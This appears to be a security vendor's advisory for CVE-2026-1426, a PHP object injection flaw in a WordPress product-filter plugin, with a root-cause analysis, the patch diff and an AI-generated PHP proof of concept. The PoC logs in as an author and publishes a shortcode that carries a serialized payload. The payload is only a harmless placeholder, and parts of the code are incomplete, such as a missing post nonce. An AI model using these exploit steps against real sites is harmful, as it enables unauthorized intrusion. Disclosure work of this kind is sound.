Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1426: Advanced AJAX Product Filters <= 3.1.9.6 – Authenticated (Author+) PHP Object Injection via Live Composer Compatibility (woocommerce-ajax-filters)

CVE ID CVE-2026-1426
Severity High (CVSS 8.8)
CWE 502
Vulnerable Version 3.1.9.6
Patched Version 3.1.9.7
Disclosed February 16, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1426:
The Advanced AJAX Product Filters plugin for WordPress, versions up to and including 3.1.9.6, contains an authenticated PHP object injection vulnerability. This flaw exists within the Live Composer compatibility layer and requires the Live Composer plugin to be active. Attackers with Author-level access or higher can exploit this vulnerability to inject arbitrary PHP objects, potentially leading to remote code execution if a suitable POP chain is present in another plugin or theme.

Atomic Edge research identifies the root cause as unsafe deserialization of untrusted input in the `shortcode_check` function within `/woocommerce-ajax-filters/includes/compatibility/live_composer.php`. The function receives user-controlled data via the `$m[5]` parameter and passes it directly to the `unserialize()` function on lines 24 and 28. The code attempts to fix malformed serialized strings with a regex pattern before deserialization, but this does not prevent object injection attacks. The vulnerability triggers when processing the `dslc_module_posts_output` shortcode.

An attacker with Author privileges can exploit this vulnerability by creating or editing a post containing a malicious `dslc_module_posts_output` shortcode. The attacker would embed a serialized PHP object payload within the shortcode’s attributes. When WordPress processes the post content through the Live Composer plugin, the Advanced AJAX Product Filters compatibility layer’s `shortcode_check` function executes, deserializing the attacker-controlled payload. This grants the attacker control over object instantiation during the deserialization process.

The patch replaces unsafe PHP `unserialize()` calls with `json_decode()` in the `shortcode_check` function. The vulnerable code on lines 24-28 originally used `unserialize($args)` and `unserialize($fixed_data)`. The patched version on lines 25 and 31 uses `json_decode($args, true)` and `json_decode($fixed_data, true)`. The patch also wraps the entire processing block in a try-catch statement to handle exceptions gracefully. These changes prevent PHP object injection because JSON decoding does not instantiate PHP objects, only creating arrays from the parsed data.

Successful exploitation requires a POP (Property-Oriented Programming) chain present in the target environment. Without a suitable POP chain in the WordPress installation, the vulnerability has limited impact. If a POP chain exists in another plugin or theme, attackers can achieve remote code execution, arbitrary file deletion, or sensitive data exposure. The CVSS score of 8.8 reflects the high impact when combined with a POP chain, though exploitation requires Author-level access and the Live Composer plugin.

Differential between vulnerable and patched code

Code Diff
--- a/woocommerce-ajax-filters/berocket/framework.php
+++ b/woocommerce-ajax-filters/berocket/framework.php
@@ -35,8 +35,8 @@
     include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
     load_plugin_textdomain('BeRocket_domain', false, dirname( plugin_basename( __FILE__ ) ) . '/languages/');
     class BeRocket_Framework {
-        public static $framework_version = '3.0.4.2';
-        public $plugin_framework_version = '3.0.4.2';
+        public static $framework_version = '3.0.4.3';
+        public $plugin_framework_version = '3.0.4.3';
         public $licenses_current = array('free');
         public static $settings_name = '';
         public $addons;
--- a/woocommerce-ajax-filters/berocket/framework_version.php
+++ b/woocommerce-ajax-filters/berocket/framework_version.php
@@ -1,5 +1,5 @@
 <?php
-$framework_version_current = '3.0.4.2';
+$framework_version_current = '3.0.4.3';
 if( version_compare($framework_version_current, $framework_version, '>') ) {
     $framework_version = $framework_version_current;
     $framework_dir = __DIR__;
--- a/woocommerce-ajax-filters/berocket/includes/updater.php
+++ b/woocommerce-ajax-filters/berocket/includes/updater.php
@@ -38,7 +38,7 @@
             add_action( 'network_admin_menu', array( __CLASS__, 'network_account_page' ) );
             add_action( 'admin_init', array( __CLASS__, 'account_option_register' ) );
             add_filter( 'pre_set_site_transient_update_plugins', array( __CLASS__, 'update_check_set' ) );
-            add_action( 'install_plugins_pre_plugin-information', array( __CLASS__, 'plugin_info' ), 1 );
+	        add_filter( 'plugins_api_result', array( __CLASS__, 'plugin_api_data' ), 10, 3 );
             add_action( "wp_ajax_br_test_key", array( __CLASS__, 'test_key' ) );
             add_action( "wp_ajax_br_test_keys", array( __CLASS__, 'test_keys' ) );
             add_filter( 'http_request_host_is_external', array( __CLASS__, 'allow_berocket_host' ), 10, 3 );
@@ -97,6 +97,8 @@
                 $plugin_file = $plugin['plugin'];
                 add_action( "after_plugin_row_{$plugin_file}", array( __CLASS__, 'update_message'), 10, 1 );
             }
+
+	        add_filter( 'plugins_api_result', array( __CLASS__, 'plugin_api_data' ), 10, 3 );
         }

         public static function error_log() {
@@ -988,49 +990,6 @@
             return $value;
         }

-        public static function plugin_info() {
-            $plugin = wp_unslash( $_REQUEST[ 'plugin' ] );
-
-            if ( in_array( $plugin, self::$slugs ) ) {
-
-                $plugin_id   = array_search( $plugin, self::$slugs );
-                $plugin_data = self::get_plugin_data($plugin_id);
-                $version_capability = br_get_value_from_array($plugin_data, array('version_capability'), 15);
-                $check_plugin_activation = self::check_plugin_activation($plugin_id);
-                $is_active = ( ! empty($check_plugin_activation) && is_array($check_plugin_activation) && ! empty($check_plugin_activation['status']) );
-                if( $is_active || ($version_capability > 5 && ! in_array($version_capability, array(15, 3, 17))) ) {
-                    remove_action( 'install_plugins_pre_plugin-information', 'install_plugin_information' );
-                    $plugin_info = get_transient( 'brplugin_info_' . $plugin_id );
-
-                    if ( $plugin_info == false ) {
-                        $plugin_data = BeRocket_Framework::get_product_data_berocket($plugin_id);
-                        if( is_array($plugin_data) ) {
-                            $url      = $plugin_data['plugin_url'] . '?preview=plugin_info';
-                            $site_url = get_site_url();
-                            $response = wp_remote_post( $url, array(
-                                'body'        => array(
-                                    'url' => $site_url
-                                ),
-                                'method'      => 'POST',
-                                'timeout'     => 30,
-                                'redirection' => 5,
-                                'blocking'    => true,
-                                'sslverify'   => false
-                            ) );
-                        }
-
-                        if ( ! empty($response) && ! is_wp_error( $response ) ) {
-                            $plugin_info = wp_remote_retrieve_body( $response );
-                            set_transient( 'brplugin_info_' . $plugin_id, $plugin_info, 7200 );
-                        }
-                    }
-
-                    echo $plugin_info;
-                    die;
-                }
-            }
-        }
-
         public static function get_options() {
             if ( ! function_exists( 'is_plugin_active_for_network' ) ) {
                 require_once( ABSPATH . '/wp-admin/includes/plugin.php' );
@@ -1308,6 +1267,85 @@
                 }
             }
         }
+
+	    public static function plugin_api_data($res, $action, $args) {
+		    if ( $plugin_id = array_search( $args->slug, self::$slugs ) ) {
+			    if ( $transient_res = get_transient( 'brplugin_info_' . $plugin_id ) ) {
+				    return $transient_res;
+			    } else {
+				    if ( $plugin = self::get_plugin_data( $plugin_id ) and
+				         ! empty( $plugin['version_capability'] ) and
+				         $plugin['version_capability'] >= 10
+				    ) {
+					    $live_plugin_data = BeRocket_Framework::get_product_data_berocket( $plugin['id'] );
+
+					    if ( ! empty( self::$key ) && strlen( self::$key ) == 40 ) {
+						    $key = self::$key;
+					    }
+					    if ( ! empty( $plugin['key'] ) && strlen( $plugin['key'] ) == 40 ) {
+						    $key = $plugin['key'];
+					    }
+
+					    $res->name                     = $plugin['full_name'];
+					    $res->slug                     = $plugin['slug'];
+					    $res->version                  = $live_plugin_data['version'];
+					    $res->author                   = '<a href="https://berocket.com/">BeRocket</a>';
+					    $res->author_profile           = 'https://berocket.com/';
+					    $res->support_url              = 'https://berocket.com/support/';
+					    $res->support_threads          = 0;
+					    $res->support_threads_resolved = 0;
+					    $res->commercial_support_url   = 'https://berocket.com/support/';
+					    $res->download_link            = BeRocket_update_path . 'v1/update_product/' . $plugin['id'] . '/' . ( empty( $key ) ? 'none' : $key );
+					    $res->ratings                  = array();
+					    $res->external                 = true;
+					    $res->contributors             = array();
+					    $res->donate_link              = '';
+					    $res->sections['changelog']    = '';
+
+					    $url = $live_plugin_data['plugin_url'] . '?preview=in_plugin_info';
+
+					    if ( $plugin_contents_raw = file_get_contents( $url ) and
+					         $plugin_contents = json_decode( $plugin_contents_raw ) and
+					         ! empty( $plugin_contents->changelog )
+					    ) {
+						    $k = 1;
+						    $plugin_contents->changelog->version = array_reverse( $plugin_contents->changelog->version, true );
+						    foreach ( $plugin_contents->changelog->version as $version_key => $version ) {
+							    $res->sections['changelog'] .= '<h4>' . $version . '</h4>';
+							    $res->sections['changelog'] .= '<ul>';
+							    if ( ! empty( $plugin_contents->changelog->enhancements[ $version_key ] ) ) {
+								    $enhancements = preg_split( "/rn|n|r/", $plugin_contents->changelog->enhancements[ $version_key ] );
+								    foreach ( $enhancements as $enhancement ) {
+									    $res->sections['changelog'] .= '<li><strong>Enhancement:</strong> ' . $enhancement . '</li>';
+								    }
+							    }
+
+							    if ( ! empty( $plugin_contents->changelog->fixes[ $version_key ] ) ) {
+								    $fixes = preg_split( "/rn|n|r/", $plugin_contents->changelog->fixes[ $version_key ] );
+								    foreach ( $fixes as $fix ) {
+									    $res->sections['changelog'] .= '<li><strong>Bugfix:</strong> ' . $fix . '</li>';
+								    }
+							    }
+							    $res->sections['changelog'] .= '</ul>';
+							    if ( ++ $k > 2 ) {
+								    $res->sections['changelog'] .= '<p></p>';
+								    $res->sections['changelog'] .= '<a target="_blank" href="' . $live_plugin_data['plugin_url'] . '">For a complete list of updates and changes, please visit the plugin’s page.</a>';
+								    $res->sections['changelog'] .= '<p></p>';
+								    break;
+							    }
+						    }
+
+						    $res->version      = $plugin_contents->tech_detail->plugin_version;
+						    $res->last_updated = date( 'Y-m-d g:ia e', strtotime( $plugin_contents->tech_detail->last_update ) );
+					    }
+
+					    set_transient( 'brplugin_info_' . $plugin_id, $res, 7200 );
+				    }
+			    }
+		    }
+
+		    return $res;
+	    }
     }

     BeRocket_updater::init();
--- a/woocommerce-ajax-filters/includes/compatibility/live_composer.php
+++ b/woocommerce-ajax-filters/includes/compatibility/live_composer.php
@@ -21,27 +21,29 @@
         }
         function shortcode_check($content, $tag, $attr, $m) {
             if( 'dslc_module_posts_output' == $tag && is_array($m) && ! empty($m[5]) ) {
-                $args = $m[5];
-                $data = @unserialize( $args );
+                try {
+                    $args = $m[5];
+                    $data = json_decode( $args, true );

-                if ( $data !== false ) {
-                    $options = unserialize( $args );
-                } else {
-                    $fixed_data = preg_replace_callback( '!s:(d+):"(.*?)";!', function( $match ) {
-                        return ( $match[1] == strlen( $match[2] ) ) ? $match[0] : 's:' . strlen( $match[2] ) . ':"' . $match[2] . '";';
-                    }, $args );
-                    $options = unserialize( $fixed_data );
-                }
-                $bapf_status = ( isset($options['bapf_apply']) ? $options['bapf_apply'] : false );
-                $enabled = braapf_is_shortcode_must_be_filtered();
-                if( $bapf_status !== false ) {
-                    if( $bapf_status == 'enable' ) {
-                        $enabled = true;
-                    } elseif( $bapf_status == 'disable' ) {
-                        $enabled = false;
+                    if ( $data !== false ) {
+                        $options = $data;
+                    } else {
+                        $fixed_data = preg_replace_callback( '!s:(d+):"(.*?)";!', function( $match ) {
+                            return ( $match[1] == strlen( $match[2] ) ) ? $match[0] : 's:' . strlen( $match[2] ) . ':"' . $match[2] . '";';
+                        }, $args );
+                        $options = json_decode( $fixed_data, true );
                     }
-                }
-                do_action('brapf_next_shortcode_apply_action', array('apply' => $enabled));
+                    $bapf_status = ( isset($options['bapf_apply']) ? $options['bapf_apply'] : false );
+                    $enabled = braapf_is_shortcode_must_be_filtered();
+                    if( $bapf_status !== false ) {
+                        if( $bapf_status == 'enable' ) {
+                            $enabled = true;
+                        } elseif( $bapf_status == 'disable' ) {
+                            $enabled = false;
+                        }
+                    }
+                    do_action('brapf_next_shortcode_apply_action', array('apply' => $enabled));
+                } catch (Exception $err) {}
             }
             return $content;
         }
--- a/woocommerce-ajax-filters/woocommerce-filters.php
+++ b/woocommerce-ajax-filters/woocommerce-filters.php
@@ -3,7 +3,7 @@
  * Plugin Name: WooCommerce AJAX Products Filter
  * Plugin URI: https://berocket.com/woocommerce-ajax-products-filter?utm_source=paid_plugin&utm_medium=plugins&utm_campaign=ajax_filters
  * Description: Unlimited AJAX product filters to make your shop perfect
- * Version: 3.1.9.6
+ * Version: 3.1.9.7
  * Author: BeRocket
  * Requires at least: 6.3
  * Tested up to: 6.9
@@ -14,6 +14,6 @@
  * Domain Path: /languages/
  * WC tested up to: 10.4
  */
-define( "BeRocket_AJAX_filters_version", '3.1.9.6' );
+define( "BeRocket_AJAX_filters_version", '3.1.9.7' );
 define( "BeRocket_AJAX_filters_file", __FILE__ );
 include_once('main.php');

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1426 - Advanced AJAX Product Filters <= 3.1.9.6 - Authenticated (Author+) PHP Object Injection via Live Composer Compatibility

<?php
/**
 * Proof of Concept for CVE-2026-1426
 * Requires: Author-level WordPress credentials, Live Composer plugin active
 * This demonstrates the object injection via shortcode creation
 */

$target_url = 'https://vulnerable-site.com/wp-admin/post.php';
$username = 'author_user';
$password = 'author_pass';

// Example serialized payload - In real exploitation, this would be a crafted POP chain
// This payload demonstrates the injection point; actual exploitation requires a valid POP chain
$malicious_payload = 'a:1:{s:10:"bapf_apply";s:6:"enable";}';

// Create a WordPress post with the malicious shortcode
$post_data = [
    'post_title' => 'Test Post with Malicious Shortcode',
    'post_content' => '[dslc_module_posts_output ' . $malicious_payload . ']Test content[/dslc_module_posts_output]',
    'post_status' => 'publish',
    'post_type' => 'post'
];

// Initialize cURL session for WordPress authentication
$ch = curl_init();

// First, get the login nonce and cookies
curl_setopt($ch, CURLOPT_URL, str_replace('post.php', 'wp-login.php', $target_url));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
$response = curl_exec($ch);

// Extract nonce from login form (simplified - real implementation would parse HTML)
// Note: Actual WordPress login requires proper nonce handling and redirect following

// Perform login (simplified - real PoC would handle WordPress authentication flow)
$login_data = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => admin_url(),
    'testcookie' => '1'
];

curl_setopt($ch, CURLOPT_URL, str_replace('post.php', 'wp-login.php', $target_url));
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);

// Create post with malicious shortcode
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$response = curl_exec($ch);

// Check if post was created successfully
if (strpos($response, 'Post published') !== false || strpos($response, 'post-publish') !== false) {
    echo "[+] Malicious post created successfully.n";
    echo "[+] When this post is viewed, the shortcode will trigger deserialization.n";
    echo "[+] Actual exploitation requires a valid POP chain in the target environment.n";
} else {
    echo "[-] Post creation failed. Check authentication and permissions.n";
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School